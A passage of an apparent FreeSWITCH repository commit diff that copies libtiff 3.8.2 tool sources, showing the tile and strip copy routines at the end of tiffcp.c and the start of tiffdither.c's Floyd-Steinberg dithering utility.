+	if (inbuf) _TIFFfree(inbuf);
+	if (outbuf) _TIFFfree(outbuf);
+	return 0;
+}
+
+static void
+cpStripToTile(uint8* out, uint8* in,
+	uint32 rows, uint32 cols, int outskew, int inskew)
+{
+	while (rows-- > 0) {
+		uint32 j = cols;
+		while (j-- > 0)
+			*out++ = *in++;
+		out += outskew;
+		in += inskew;
+	}
+}
+
+static void
+cpContigBufToSeparateBuf(uint8* out, uint8* in,
+           uint32 rows, uint32 cols, int outskew, int inskew, tsample_t spp,
+           int bytes_per_sample )
+{
+	while (rows-- > 0) {
+		uint32 j = cols;
+		while (j-- > 0)
+                {
+                        int n = bytes_per_sample;
+
+                        while( n-- ) {
+                            *out++ = *in++;
+                        }
+                        in += (spp-1) * bytes_per_sample;
+                }
+		out += outskew;
+		in += inskew;
+	}
+}
+
+static void
+cpSeparateBufToContigBuf(uint8* out, uint8* in,
+	uint32 rows, uint32 cols, int outskew, int inskew, tsample_t spp,
+                         int bytes_per_sample)
+{
+	while (rows-- > 0) {
+		uint32 j = cols;
+		while (j-- > 0) {
+                        int n = bytes_per_sample;
+
+                        while( n-- ) {
+                                *out++ = *in++;
+                        }
+                        out += (spp-1)*bytes_per_sample;
+                }
+		out += outskew;
+		in += inskew;
+	}
+}
+
+static int
+cpImage(TIFF* in, TIFF* out, readFunc fin, writeFunc fout,
+	uint32 imagelength, uint32 imagewidth, tsample_t spp)
+{
+	int status = 0;
+	tdata_t buf = NULL;
+	tsize_t scanlinesize = TIFFRasterScanlineSize(in);
+        tsize_t bytes = scanlinesize * (tsize_t)imagelength;                                      
+        /*
+         * XXX: Check for integer overflow.
+         */
+        if (scanlinesize
+	    && imagelength
+	    && bytes / (tsize_t)imagelength == scanlinesize) {
+                buf = _TIFFmalloc(bytes);
+		if (buf) {
+			if ((*fin)(in, (uint8*)buf, imagelength, 
+				   imagewidth, spp)) {
+				status = (*fout)(out, (uint8*)buf,
+						 imagelength, imagewidth, spp);
+			}
+			_TIFFfree(buf);
+		} else {
+			TIFFError(TIFFFileName(in),
+				"Error, can't allocate space for image buffer");
+		}
+	} else {
+		TIFFError(TIFFFileName(in), "Error, no space for image buffer");
+	}
+
+	return status;
+}
+
+DECLAREreadFunc(readContigStripsIntoBuffer)
+{
+	tsize_t scanlinesize = TIFFScanlineSize(in);
+	uint8* bufp = buf;
+	uint32 row;
+
+	(void) imagewidth; (void) spp;
+	for (row = 0; row < imagelength; row++) {
+		if (TIFFReadScanline(in, (tdata_t) bufp, row, 0) < 0
+		    && !ignore) {
+			TIFFError(TIFFFileName(in),
+				  "Error, can't read scanline %lu",
+				  (unsigned long) row);
+			return 0;
+		}
+		bufp += scanlinesize;
+	}
+
+	return 1;
+}
+
+DECLAREreadFunc(readSeparateStripsIntoBuffer)
+{
+	int status = 1;
+	tsize_t scanlinesize = TIFFScanlineSize(in);
+	tdata_t scanline = _TIFFmalloc(scanlinesize);
+	if (!scanlinesize)
+		return 0;
+
+	(void) imagewidth;
+	if (scanline) {
+		uint8* bufp = (uint8*) buf;
+		uint32 row;
+		tsample_t s;
+		for (row = 0; row < imagelength; row++) {
+			/* merge channels */
+			for (s = 0; s < spp; s++) {
+				uint8* bp = bufp + s;
+				tsize_t n = scanlinesize;
+                                uint8* sbuf = scanline;
+
+				if (TIFFReadScanline(in, scanline, row, s) < 0
+				    && !ignore) {
+					TIFFError(TIFFFileName(in),
+					"Error, can't read scanline %lu",
+					(unsigned long) row);
+					status = 0;
+					goto done;
+				}
+				while (n-- > 0)
+					*bp = *sbuf++, bp += spp;
+			}
+			bufp += scanlinesize * spp;
+		}
+	}
+
+done:
+	_TIFFfree(scanline);
+	return status;
+}
+
+DECLAREreadFunc(readContigTilesIntoBuffer)
+{
+	int status = 1;
+	tdata_t tilebuf = _TIFFmalloc(TIFFTileSize(in));
+	uint32 imagew = TIFFScanlineSize(in);
+	uint32 tilew  = TIFFTileRowSize(in);
+	int iskew = imagew - tilew;
+	uint8* bufp = (uint8*) buf;
+	uint32 tw, tl;
+	uint32 row;
+
+	(void) spp;
+	if (tilebuf == 0)
+		return 0;
+	(void) TIFFGetField(in, TIFFTAG_TILEWIDTH, &tw);
+	(void) TIFFGetField(in, TIFFTAG_TILELENGTH, &tl);
+        
+	for (row = 0; row < imagelength; row += tl) {
+		uint32 nrow = (row+tl > imagelength) ? imagelength-row : tl;
+		uint32 colb = 0;
+		uint32 col;
+
+		for (col = 0; col < imagewidth; col += tw) {
+			if (TIFFReadTile(in, tilebuf, col, row, 0, 0) < 0
+			    && !ignore) {
+				TIFFError(TIFFFileName(in),
+					  "Error, can't read tile at %lu %lu",
+					  (unsigned long) col,
+					  (unsigned long) row);
+				status = 0;
+				goto done;
+			}
+			if (colb + tilew > imagew) {
+				uint32 width = imagew - colb;
+				uint32 oskew = tilew - width;
+				cpStripToTile(bufp + colb,
+                                              tilebuf, nrow, width,
+                                              oskew + iskew, oskew );
+			} else
+				cpStripToTile(bufp + colb,
+                                              tilebuf, nrow, tilew,
+                                              iskew, 0);
+			colb += tilew;
+		}
+		bufp += imagew * nrow;
+	}
+done:
+	_TIFFfree(tilebuf);
+	return status;
+}
+
+DECLAREreadFunc(readSeparateTilesIntoBuffer)
+{
+	int status = 1;
+	uint32 imagew = TIFFRasterScanlineSize(in);
+	uint32 tilew = TIFFTileRowSize(in);
+	int iskew  = imagew - tilew*spp;
+	tdata_t tilebuf = _TIFFmalloc(TIFFTileSize(in));
+	uint8* bufp = (uint8*) buf;
+	uint32 tw, tl;
+	uint32 row;
+        uint16 bps, bytes_per_sample;
+
+	if (tilebuf == 0)
+		return 0;
+	(void) TIFFGetField(in, TIFFTAG_TILEWIDTH, &tw);
+	(void) TIFFGetField(in, TIFFTAG_TILELENGTH, &tl);
+	(void) TIFFGetField(in, TIFFTAG_BITSPERSAMPLE, &bps);
+        assert( bps % 8 == 0 );
+        bytes_per_sample = bps/8;
+
+	for (row = 0; row < imagelength; row += tl) {
+		uint32 nrow = (row+tl > imagelength) ? imagelength-row : tl;
+		uint32 colb = 0;
+		uint32 col;
+
+		for (col = 0; col < imagewidth; col += tw) {
+			tsample_t s;
+
+			for (s = 0; s < spp; s++) {
+				if (TIFFReadTile(in, tilebuf, col, row, 0, s) < 0
+				    && !ignore) {
+					TIFFError(TIFFFileName(in),
+					  "Error, can't read tile at %lu %lu, "
+					  "sample %lu",
+					  (unsigned long) col,
+					  (unsigned long) row,
+					  (unsigned long) s);
+					status = 0;
+					goto done;
+				}
+				/*
+				 * Tile is clipped horizontally.  Calculate
+				 * visible portion and skewing factors.
+				 */
+				if (colb + tilew*spp > imagew) {
+					uint32 width = imagew - colb;
+					int oskew = tilew*spp - width;
+					cpSeparateBufToContigBuf(
+                                            bufp+colb+s*bytes_per_sample,
+					    tilebuf, nrow,
+                                            width/(spp*bytes_per_sample),
+					    oskew + iskew,
+                                            oskew/spp, spp,
+                                            bytes_per_sample);
+				} else
+					cpSeparateBufToContigBuf(
+                                            bufp+colb+s*bytes_per_sample,
+					    tilebuf, nrow, tw,
+					    iskew, 0, spp,
+                                            bytes_per_sample);
+			}
+			colb += tilew*spp;
+		}
+		bufp += imagew * nrow;
+	}
+done:
+	_TIFFfree(tilebuf);
+	return status;
+}
+
+DECLAREwriteFunc(writeBufferToContigStrips)
+{
+	uint32 row, rowsperstrip;
+	tstrip_t strip = 0;
+
+	(void) imagewidth; (void) spp;
+	(void) TIFFGetFieldDefaulted(out, TIFFTAG_ROWSPERSTRIP, &rowsperstrip);
+	for (row = 0; row < imagelength; row += rowsperstrip) {
+		uint32 nrows = (row+rowsperstrip > imagelength) ?
+		    imagelength-row : rowsperstrip;
+		tsize_t stripsize = TIFFVStripSize(out, nrows);
+		if (TIFFWriteEncodedStrip(out, strip++, buf, stripsize) < 0) {
+			TIFFError(TIFFFileName(out),
+				  "Error, can't write strip %lu", strip - 1);
+			return 0;
+		}
+		buf += stripsize;
+	}
+	return 1;
+}
+
+DECLAREwriteFunc(writeBufferToSeparateStrips)
+{
+	uint32 rowsize = imagewidth * spp;
+	uint32 rowsperstrip;
+	tdata_t obuf = _TIFFmalloc(TIFFStripSize(out));
+	tstrip_t strip = 0;
+	tsample_t s;
+
+	if (obuf == NULL)
+		return (0);
+	(void) TIFFGetFieldDefaulted(out, TIFFTAG_ROWSPERSTRIP, &rowsperstrip);
+	for (s = 0; s < spp; s++) {
+		uint32 row;
+		for (row = 0; row < imagelength; row += rowsperstrip) {
+			uint32 nrows = (row+rowsperstrip > imagelength) ?
+			    imagelength-row : rowsperstrip;
+			tsize_t stripsize = TIFFVStripSize(out, nrows);
+
+			cpContigBufToSeparateBuf(
+			    obuf, (uint8*) buf + row*rowsize + s, 
+			    nrows, imagewidth, 0, 0, spp, 1);
+			if (TIFFWriteEncodedStrip(out, strip++, obuf, stripsize) < 0) {
+				TIFFError(TIFFFileName(out),
+					  "Error, can't write strip %lu",
+					  strip - 1);
+				_TIFFfree(obuf);
+				return 0;
+			}
+		}
+	}
+	_TIFFfree(obuf);
+	return 1;
+
+}
+
+DECLAREwriteFunc(writeBufferToContigTiles)
+{
+	uint32 imagew = TIFFScanlineSize(out);
+	uint32 tilew  = TIFFTileRowSize(out);
+	int iskew = imagew - tilew;
+	tdata_t obuf = _TIFFmalloc(TIFFTileSize(out));
+	uint8* bufp = (uint8*) buf;
+	uint32 tl, tw;
+	uint32 row;
+
+	(void) spp;
+	if (obuf == NULL)
+		return 0;
+	(void) TIFFGetField(out, TIFFTAG_TILELENGTH, &tl);
+	(void) TIFFGetField(out, TIFFTAG_TILEWIDTH, &tw);
+	for (row = 0; row < imagelength; row += tilelength) {
+		uint32 nrow = (row+tl > imagelength) ? imagelength-row : tl;
+		uint32 colb = 0;
+		uint32 col;
+
+		for (col = 0; col < imagewidth; col += tw) {
+			/*
+			 * Tile is clipped horizontally.  Calculate
+			 * visible portion and skewing factors.
+			 */
+			if (colb + tilew > imagew) {
+				uint32 width = imagew - colb;
+				int oskew = tilew - width;
+				cpStripToTile(obuf, bufp + colb, nrow, width,
+				    oskew, oskew + iskew);
+			} else
+				cpStripToTile(obuf, bufp + colb, nrow, tilew,
+				    0, iskew);
+			if (TIFFWriteTile(out, obuf, col, row, 0, 0) < 0) {
+				TIFFError(TIFFFileName(out),
+					  "Error, can't write tile at %lu %lu",
+					  (unsigned long) col,
+					  (unsigned long) row);
+				_TIFFfree(obuf);
+				return 0;
+			}
+			colb += tilew;
+		}
+		bufp += nrow * imagew;
+	}
+	_TIFFfree(obuf);
+	return 1;
+}
+
+DECLAREwriteFunc(writeBufferToSeparateTiles)
+{
+	uint32 imagew = TIFFScanlineSize(out);
+	tsize_t tilew  = TIFFTileRowSize(out);
+	uint32 iimagew = TIFFRasterScanlineSize(out);
+	int iskew = iimagew - tilew*spp;
+	tdata_t obuf = _TIFFmalloc(TIFFTileSize(out));
+	uint8* bufp = (uint8*) buf;
+	uint32 tl, tw;
+	uint32 row;
+        uint16 bps, bytes_per_sample;
+
+	if (obuf == NULL)
+		return 0;
+	(void) TIFFGetField(out, TIFFTAG_TILELENGTH, &tl);
+	(void) TIFFGetField(out, TIFFTAG_TILEWIDTH, &tw);
+	(void) TIFFGetField(out, TIFFTAG_BITSPERSAMPLE, &bps);
+        assert( bps % 8 == 0 );
+        bytes_per_sample = bps/8;
+        
+	for (row = 0; row < imagelength; row += tl) {
+		uint32 nrow = (row+tl > imagelength) ? imagelength-row : tl;
+		uint32 colb = 0;
+		uint32 col;
+
+		for (col = 0; col < imagewidth; col += tw) {
+			tsample_t s;
+			for (s = 0; s < spp; s++) {
+				/*
+				 * Tile is clipped horizontally.  Calculate
+				 * visible portion and skewing factors.
+				 */
+				if (colb + tilew > imagew) {
+					uint32 width = (imagew - colb);
+					int oskew = tilew - width;
+
+					cpContigBufToSeparateBuf(obuf,
+					    bufp + (colb*spp) + s,
+					    nrow, width/bytes_per_sample,
+					    oskew, (oskew*spp)+iskew, spp,
+                                            bytes_per_sample);
+				} else
+					cpContigBufToSeparateBuf(obuf,
+					    bufp + (colb*spp) + s,
+					    nrow, tilewidth,
+					    0, iskew, spp,
+                                            bytes_per_sample);
+				if (TIFFWriteTile(out, obuf, col, row, 0, s) < 0) {
+					TIFFError(TIFFFileName(out),
+					"Error, can't write tile at %lu %lu "
+					"sample %lu",
+					(unsigned long) col,
+					(unsigned long) row,
+					(unsigned long) s);
+					_TIFFfree(obuf);
+					return 0;
+				}
+			}
+			colb += tilew;
+		}
+		bufp += nrow * iimagew;
+	}
+	_TIFFfree(obuf);
+	return 1;
+}
+
+/*
+ * Contig strips -> contig tiles.
+ */
+DECLAREcpFunc(cpContigStrips2ContigTiles)
+{
+	return cpImage(in, out,
+	    readContigStripsIntoBuffer,
+	    writeBufferToContigTiles,
+	    imagelength, imagewidth, spp);
+}
+
+/*
+ * Contig strips -> separate tiles.
+ */
+DECLAREcpFunc(cpContigStrips2SeparateTiles)
+{
+	return cpImage(in, out,
+	    readContigStripsIntoBuffer,
+	    writeBufferToSeparateTiles,
+	    imagelength, imagewidth, spp);
+}
+
+/*
+ * Separate strips -> contig tiles.
+ */
+DECLAREcpFunc(cpSeparateStrips2ContigTiles)
+{
+	return cpImage(in, out,
+	    readSeparateStripsIntoBuffer,
+	    writeBufferToContigTiles,
+	    imagelength, imagewidth, spp);
+}
+
+/*
+ * Separate strips -> separate tiles.
+ */
+DECLAREcpFunc(cpSeparateStrips2SeparateTiles)
+{
+	return cpImage(in, out,
+	    readSeparateStripsIntoBuffer,
+	    writeBufferToSeparateTiles,
+	    imagelength, imagewidth, spp);
+}
+
+/*
+ * Contig strips -> contig tiles.
+ */
+DECLAREcpFunc(cpContigTiles2ContigTiles)
+{
+	return cpImage(in, out,
+	    readContigTilesIntoBuffer,
+	    writeBufferToContigTiles,
+	    imagelength, imagewidth, spp);
+}
+
+/*
+ * Contig tiles -> separate tiles.
+ */
+DECLAREcpFunc(cpContigTiles2SeparateTiles)
+{
+	return cpImage(in, out,
+	    readContigTilesIntoBuffer,
+	    writeBufferToSeparateTiles,
+	    imagelength, imagewidth, spp);
+}
+
+/*
+ * Separate tiles -> contig tiles.
+ */
+DECLAREcpFunc(cpSeparateTiles2ContigTiles)
+{
+	return cpImage(in, out,
+	    readSeparateTilesIntoBuffer,
+	    writeBufferToContigTiles,
+	    imagelength, imagewidth, spp);
+}
+
+/*
+ * Separate tiles -> separate tiles (tile dimension change).
+ */
+DECLAREcpFunc(cpSeparateTiles2SeparateTiles)
+{
+	return cpImage(in, out,
+	    readSeparateTilesIntoBuffer,
+	    writeBufferToSeparateTiles,
+	    imagelength, imagewidth, spp);
+}
+
+/*
+ * Contig tiles -> contig tiles (tile dimension change).
+ */
+DECLAREcpFunc(cpContigTiles2ContigStrips)
+{
+	return cpImage(in, out,
+	    readContigTilesIntoBuffer,
+	    writeBufferToContigStrips,
+	    imagelength, imagewidth, spp);
+}
+
+/*
+ * Contig tiles -> separate strips.
+ */
+DECLAREcpFunc(cpContigTiles2SeparateStrips)
+{
+	return cpImage(in, out,
+	    readContigTilesIntoBuffer,
+	    writeBufferToSeparateStrips,
+	    imagelength, imagewidth, spp);
+}
+
+/*
+ * Separate tiles -> contig strips.
+ */
+DECLAREcpFunc(cpSeparateTiles2ContigStrips)
+{
+	return cpImage(in, out,
+	    readSeparateTilesIntoBuffer,
+	    writeBufferToContigStrips,
+	    imagelength, imagewidth, spp);
+}
+
+/*
+ * Separate tiles -> separate strips.
+ */
+DECLAREcpFunc(cpSeparateTiles2SeparateStrips)
+{
+	return cpImage(in, out,
+	    readSeparateTilesIntoBuffer,
+	    writeBufferToSeparateStrips,
+	    imagelength, imagewidth, spp);
+}
+
+/*
+ * Select the appropriate copy function to use.
+ */
+static copyFunc
+pickCopyFunc(TIFF* in, TIFF* out, uint16 bitspersample, uint16 samplesperpixel)
+{
+	uint16 shortv;
+	uint32 w, l, tw, tl;
+	int bychunk;
+
+	(void) TIFFGetField(in, TIFFTAG_PLANARCONFIG, &shortv);
+	if (shortv != config && bitspersample != 8 && samplesperpixel > 1) {
+		fprintf(stderr,
+"%s: Cannot handle different planar configuration w/ bits/sample != 8\n",
+		    TIFFFileName(in));
+		return (NULL);
+	}
+	TIFFGetField(in, TIFFTAG_IMAGEWIDTH, &w);
+	TIFFGetField(in, TIFFTAG_IMAGELENGTH, &l);
+        if (!(TIFFIsTiled(out) || TIFFIsTiled(in))) {
+	    uint32 irps = (uint32) -1L;
+	    TIFFGetField(in, TIFFTAG_ROWSPERSTRIP, &irps);
+            /* if biased, force decoded copying to allow image subtraction */
+	    bychunk = !bias && (rowsperstrip == irps);
+	}else{  /* either in or out is tiled */
+            if (bias) {
+                  fprintf(stderr,
+"%s: Cannot handle tiled configuration w/bias image\n",
+                  TIFFFileName(in));
+                  return (NULL);
+            }
+	    if (TIFFIsTiled(out)) {
+		if (!TIFFGetField(in, TIFFTAG_TILEWIDTH, &tw))
+			tw = w;
+		if (!TIFFGetField(in, TIFFTAG_TILELENGTH, &tl))
+			tl = l;
+		bychunk = (tw == tilewidth && tl == tilelength);
+	    } else {  /* out's not, so in must be tiled */
+		TIFFGetField(in, TIFFTAG_TILEWIDTH, &tw);
+		TIFFGetField(in, TIFFTAG_TILELENGTH, &tl);
+		bychunk = (tw == w && tl == rowsperstrip);
+            }
+	}
+#define	T 1
+#define	F 0
+#define pack(a,b,c,d,e)	((long)(((a)<<11)|((b)<<3)|((c)<<2)|((d)<<1)|(e)))
+	switch(pack(shortv,config,TIFFIsTiled(in),TIFFIsTiled(out),bychunk)) {
+/* Strips -> Tiles */
+	case pack(PLANARCONFIG_CONTIG,   PLANARCONFIG_CONTIG,   F,T,F):
+	case pack(PLANARCONFIG_CONTIG,   PLANARCONFIG_CONTIG,   F,T,T):
+		return cpContigStrips2ContigTiles;
+	case pack(PLANARCONFIG_CONTIG,   PLANARCONFIG_SEPARATE, F,T,F):
+	case pack(PLANARCONFIG_CONTIG,   PLANARCONFIG_SEPARATE, F,T,T):
+		return cpContigStrips2SeparateTiles;
+        case pack(PLANARCONFIG_SEPARATE, PLANARCONFIG_CONTIG,   F,T,F):
+        case pack(PLANARCONFIG_SEPARATE, PLANARCONFIG_CONTIG,   F,T,T):
+		return cpSeparateStrips2ContigTiles;
+	case pack(PLANARCONFIG_SEPARATE, PLANARCONFIG_SEPARATE, F,T,F):
+	case pack(PLANARCONFIG_SEPARATE, PLANARCONFIG_SEPARATE, F,T,T):
+		return cpSeparateStrips2SeparateTiles;
+/* Tiles -> Tiles */
+	case pack(PLANARCONFIG_CONTIG,   PLANARCONFIG_CONTIG,   T,T,F):
+	case pack(PLANARCONFIG_CONTIG,   PLANARCONFIG_CONTIG,   T,T,T):
+		return cpContigTiles2ContigTiles;
+	case pack(PLANARCONFIG_CONTIG,   PLANARCONFIG_SEPARATE, T,T,F):
+	case pack(PLANARCONFIG_CONTIG,   PLANARCONFIG_SEPARATE, T,T,T):
+		return cpContigTiles2SeparateTiles;
+        case pack(PLANARCONFIG_SEPARATE, PLANARCONFIG_CONTIG,   T,T,F):
+        case pack(PLANARCONFIG_SEPARATE, PLANARCONFIG_CONTIG,   T,T,T):
+		return cpSeparateTiles2ContigTiles;
+	case pack(PLANARCONFIG_SEPARATE, PLANARCONFIG_SEPARATE, T,T,F):
+	case pack(PLANARCONFIG_SEPARATE, PLANARCONFIG_SEPARATE, T,T,T):
+		return cpSeparateTiles2SeparateTiles;
+/* Tiles -> Strips */
+	case pack(PLANARCONFIG_CONTIG,   PLANARCONFIG_CONTIG,   T,F,F):
+	case pack(PLANARCONFIG_CONTIG,   PLANARCONFIG_CONTIG,   T,F,T):
+		return cpContigTiles2ContigStrips;
+	case pack(PLANARCONFIG_CONTIG,   PLANARCONFIG_SEPARATE, T,F,F):
+	case pack(PLANARCONFIG_CONTIG,   PLANARCONFIG_SEPARATE, T,F,T):
+		return cpContigTiles2SeparateStrips;
+        case pack(PLANARCONFIG_SEPARATE, PLANARCONFIG_CONTIG,   T,F,F):
+        case pack(PLANARCONFIG_SEPARATE, PLANARCONFIG_CONTIG,   T,F,T):
+		return cpSeparateTiles2ContigStrips;
+	case pack(PLANARCONFIG_SEPARATE, PLANARCONFIG_SEPARATE, T,F,F):
+	case pack(PLANARCONFIG_SEPARATE, PLANARCONFIG_SEPARATE, T,F,T):
+		return cpSeparateTiles2SeparateStrips;
+/* Strips -> Strips */
+	case pack(PLANARCONFIG_CONTIG,   PLANARCONFIG_CONTIG,   F,F,F):
+		return bias ? cpBiasedContig2Contig : cpContig2ContigByRow;
+	case pack(PLANARCONFIG_CONTIG,   PLANARCONFIG_CONTIG,   F,F,T):
+		return cpDecodedStrips;
+	case pack(PLANARCONFIG_CONTIG, PLANARCONFIG_SEPARATE,   F,F,F):
+	case pack(PLANARCONFIG_CONTIG, PLANARCONFIG_SEPARATE,   F,F,T):
+		return cpContig2SeparateByRow;
+	case pack(PLANARCONFIG_SEPARATE, PLANARCONFIG_CONTIG,   F,F,F):
+	case pack(PLANARCONFIG_SEPARATE, PLANARCONFIG_CONTIG,   F,F,T):
+		return cpSeparate2ContigByRow;
+	case pack(PLANARCONFIG_SEPARATE, PLANARCONFIG_SEPARATE, F,F,F):
+	case pack(PLANARCONFIG_SEPARATE, PLANARCONFIG_SEPARATE, F,F,T):
+		return cpSeparate2SeparateByRow;
+	}
+#undef pack
+#undef F
+#undef T
+	fprintf(stderr, "tiffcp: %s: Don't know how to copy/convert image.\n",
+	    TIFFFileName(in));
+	return (NULL);
+}
+
+/* vim: set ts=8 sts=8 sw=8 noet: */

Deleted: freeswitch/branches/seven/libs/tiff-3.8.2/tools/tiffdither.c

Copied: freeswitch/branches/seven/libs/tiff-3.8.2/tools/tiffdither.c (from rev 14471, freeswitch/trunk/libs/tiff-3.8.2/tools/tiffdither.c) (0 => 14472)


--- freeswitch/branches/seven/libs/tiff-3.8.2/tools/tiffdither.c	                        (rev 0)
+++ freeswitch/branches/seven/libs/tiff-3.8.2/tools/tiffdither.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,325 @@
+/* $Id: tiffdither.c,v 1.9 2005/04/27 18:37:19 dron Exp $ */
+
+/*
+ * Copyright (c) 1988-1997 Sam Leffler
+ * Copyright (c) 1991-1997 Silicon Graphics, Inc.
+ *
+ * Permission to use, copy, modify, distribute, and sell this software and 
+ * its documentation for any purpose is hereby granted without fee, provided
+ * that (i) the above copyright notices and this permission notice appear in
+ * all copies of the software and related documentation, and (ii) the names of
+ * Sam Leffler and Silicon Graphics may not be used in any advertising or
+ * publicity relating to the software without the specific, prior written
+ * permission of Sam Leffler and Silicon Graphics.
+ * 
+ * THE SOFTWARE IS PROVIDED "AS-IS" AND WITHOUT WARRANTY OF ANY KIND, 
+ * EXPRESS, IMPLIED OR OTHERWISE, INCLUDING WITHOUT LIMITATION, ANY 
+ * WARRANTY OF MERCHANTABILITY OR FITNESS FOR A PARTICULAR PURPOSE.  
+ * 
+ * IN NO EVENT SHALL SAM LEFFLER OR SILICON GRAPHICS BE LIABLE FOR
+ * ANY SPECIAL, INCIDENTAL, INDIRECT OR CONSEQUENTIAL DAMAGES OF ANY KIND,
+ * OR ANY DAMAGES WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS,
+ * WHETHER OR NOT ADVISED OF THE POSSIBILITY OF DAMAGE, AND ON ANY THEORY OF 
+ * LIABILITY, ARISING OUT OF OR IN CONNECTION WITH THE USE OR PERFORMANCE 
+ * OF THIS SOFTWARE.
+ */
+
+#include "tif_config.h"
+
+#include <stdio.h>
+#include <stdlib.h>
+#include <string.h>
+
+#ifdef HAVE_UNISTD_H
+# include <unistd.h>
+#endif
+
+#include "tiffio.h"
+
+#define	streq(a,b)	(strcmp(a,b) == 0)
+#define	strneq(a,b,n)	(strncmp(a,b,n) == 0)
+
+#define	CopyField(tag, v) \
+	if (TIFFGetField(in, tag, &v)) TIFFSetField(out, tag, v)
+
+uint32	imagewidth;
+uint32	imagelength;
+int	threshold = 128;
+
+static	void usage(void);
+
+/* 
+ * Floyd-Steinberg error propragation with threshold.
+ * This code is stolen from tiffmedian.
+ */
+static void
+fsdither(TIFF* in, TIFF* out)
+{
+	unsigned char *outline, *inputline, *inptr;
+	short *thisline, *nextline, *tmpptr;
+	register unsigned char	*outptr;
+	register short *thisptr, *nextptr;
+	register uint32 i, j;
+	uint32 imax, jmax;
+	int lastline, lastpixel;
+	int bit;
+	tsize_t outlinesize;
+
+	imax = imagelength - 1;
+	jmax = imagewidth - 1;
+	inputline = (unsigned char *)_TIFFmalloc(TIFFScanlineSize(in));
+	thisline = (short *)_TIFFmalloc(imagewidth * sizeof (short));
+	nextline = (short *)_TIFFmalloc(imagewidth * sizeof (short));
+	outlinesize = TIFFScanlineSize(out);
+	outline = (unsigned char *) _TIFFmalloc(outlinesize);
+
+	/*
+	 * Get first line
+	 */
+	if (TIFFReadScanline(in, inputline, 0, 0) <= 0)
+		return;
+	inptr = inputline;
+	nextptr = nextline;
+	for (j = 0; j < imagewidth; ++j)
+		*nextptr++ = *inptr++;
+	for (i = 1; i < imagelength; ++i) {
+		tmpptr = thisline;
+		thisline = nextline;
+		nextline = tmpptr;
+		lastline = (i == imax);
+		if (TIFFReadScanline(in, inputline, i, 0) <= 0)
+			break;
+		inptr = inputline;
+		nextptr = nextline;
+		for (j = 0; j < imagewidth; ++j)
+			*nextptr++ = *inptr++;
+		thisptr = thisline;
+		nextptr = nextline;
+		_TIFFmemset(outptr = outline, 0, outlinesize);
+		bit = 0x80;
+		for (j = 0; j < imagewidth; ++j) {
+			register int v;
+
+			lastpixel = (j == jmax);
+			v = *thisptr++;
+			if (v < 0)
+				v = 0;
+			else if (v > 255)
+				v = 255;
+			if (v > threshold) {
+				*outptr |= bit;
+				v -= 255;
+			}
+			bit >>= 1;
+			if (bit == 0) {
+				outptr++;
+				bit = 0x80;
+			}
+			if (!lastpixel)
+				thisptr[0] += v * 7 / 16;
+			if (!lastline) {
+				if (j != 0)
+					nextptr[-1] += v * 3 / 16;
+				*nextptr++ += v * 5 / 16;
+				if (!lastpixel)
+					nextptr[0] += v / 16;
+			}
+		}
+		if (TIFFWriteScanline(out, outline, i-1, 0) < 0)
+			break;
+	}
+	_TIFFfree(inputline);
+	_TIFFfree(thisline);
+	_TIFFfree(nextline);
+	_TIFFfree(outline);
+}
+
+static	uint16 compression = COMPRESSION_PACKBITS;
+static	uint16 predictor = 0;
+static	uint32 group3options = 0;
+
+static void
+processG3Options(char* cp)
+{
+	if ((cp = strchr(cp, ':'))) {
+		do {
+			cp++;
+			if (strneq(cp, "1d", 2))
+				group3options &= ~GROUP3OPT_2DENCODING;
+			else if (strneq(cp, "2d", 2))
+				group3options |= GROUP3OPT_2DENCODING;
+			else if (strneq(cp, "fill", 4))
+				group3options |= GROUP3OPT_FILLBITS;
+			else
+				usage();
+		} while ((cp = strchr(cp, ':')));
+	}
+}
+
+static int
+processCompressOptions(char* opt)
+{
+	if (streq(opt, "none"))
+		compression = COMPRESSION_NONE;
+	else if (streq(opt, "packbits"))
+		compression = COMPRESSION_PACKBITS;
+	else if (strneq(opt, "g3", 2)) {
+		processG3Options(opt);
+		compression = COMPRESSION_CCITTFAX3;
+	} else if (streq(opt, "g4"))
+		compression = COMPRESSION_CCITTFAX4;
+	else if (strneq(opt, "lzw", 3)) {
+		char* cp = strchr(opt, ':');
+		if (cp)
+			predictor = atoi(cp+1);
+		compression = COMPRESSION_LZW;
+	} else if (strneq(opt, "zip", 3)) {
+		char* cp = strchr(opt, ':');
+		if (cp)
+			predictor = atoi(cp+1);
+		compression = COMPRESSION_DEFLATE;
+	} else
+		return (0);
+	return (1);
+}
+
+int
+main(int argc, char* argv[])
+{
+	TIFF *in, *out;
+	uint16 samplesperpixel, bitspersample = 1, shortv;
+	float floatv;
+	char thing[1024];
+	uint32 rowsperstrip = (uint32) -1;
+	int onestrip = 0;
+	uint16 fillorder = 0;
+	int c;
+	extern int optind;
+	extern char *optarg;
+
+	while ((c = getopt(argc, argv, "c:f:r:t:")) != -1)
+		switch (c) {
+		case 'c':		/* compression scheme */
+			if (!processCompressOptions(optarg))
+				usage();
+			break;
+		case 'f':		/* fill order */
+			if (streq(optarg, "lsb2msb"))
+				fillorder = FILLORDER_LSB2MSB;
+			else if (streq(optarg, "msb2lsb"))
+				fillorder = FILLORDER_MSB2LSB;
+			else
+				usage();
+			break;
+		case 'r':		/* rows/strip */
+			rowsperstrip = atoi(optarg);
+			onestrip = 0;
+			break;
+		case 't':
+			threshold = atoi(optarg);
+			if (threshold < 0)
+				threshold = 0;
+			else if (threshold > 255)
+				threshold = 255;
+			break;
+		case '?':
+			usage();
+			/*NOTREACHED*/
+		}
+	if (argc - optind < 2)
+		usage();
+	in = TIFFOpen(argv[optind], "r");
+	if (in == NULL)
+		return (-1);
+	TIFFGetField(in, TIFFTAG_SAMPLESPERPIXEL, &samplesperpixel);
+	if (samplesperpixel != 1) {
+		fprintf(stderr, "%s: Not a b&w image.\n", argv[0]);
+		return (-1);
+	}
+	TIFFGetField(in, TIFFTAG_BITSPERSAMPLE, &bitspersample);
+	if (bitspersample != 8) {
+		fprintf(stderr,
+		    " %s: Sorry, only handle 8-bit samples.\n", argv[0]);
+		return (-1);
+	}
+	out = TIFFOpen(argv[optind+1], "w");
+	if (out == NULL)
+		return (-1);
+	CopyField(TIFFTAG_IMAGEWIDTH, imagewidth);
+	TIFFGetField(in, TIFFTAG_IMAGELENGTH, &imagelength);
+	TIFFSetField(out, TIFFTAG_IMAGELENGTH, imagelength-1);
+	TIFFSetField(out, TIFFTAG_BITSPERSAMPLE, 1);
+	TIFFSetField(out, TIFFTAG_SAMPLESPERPIXEL, 1);
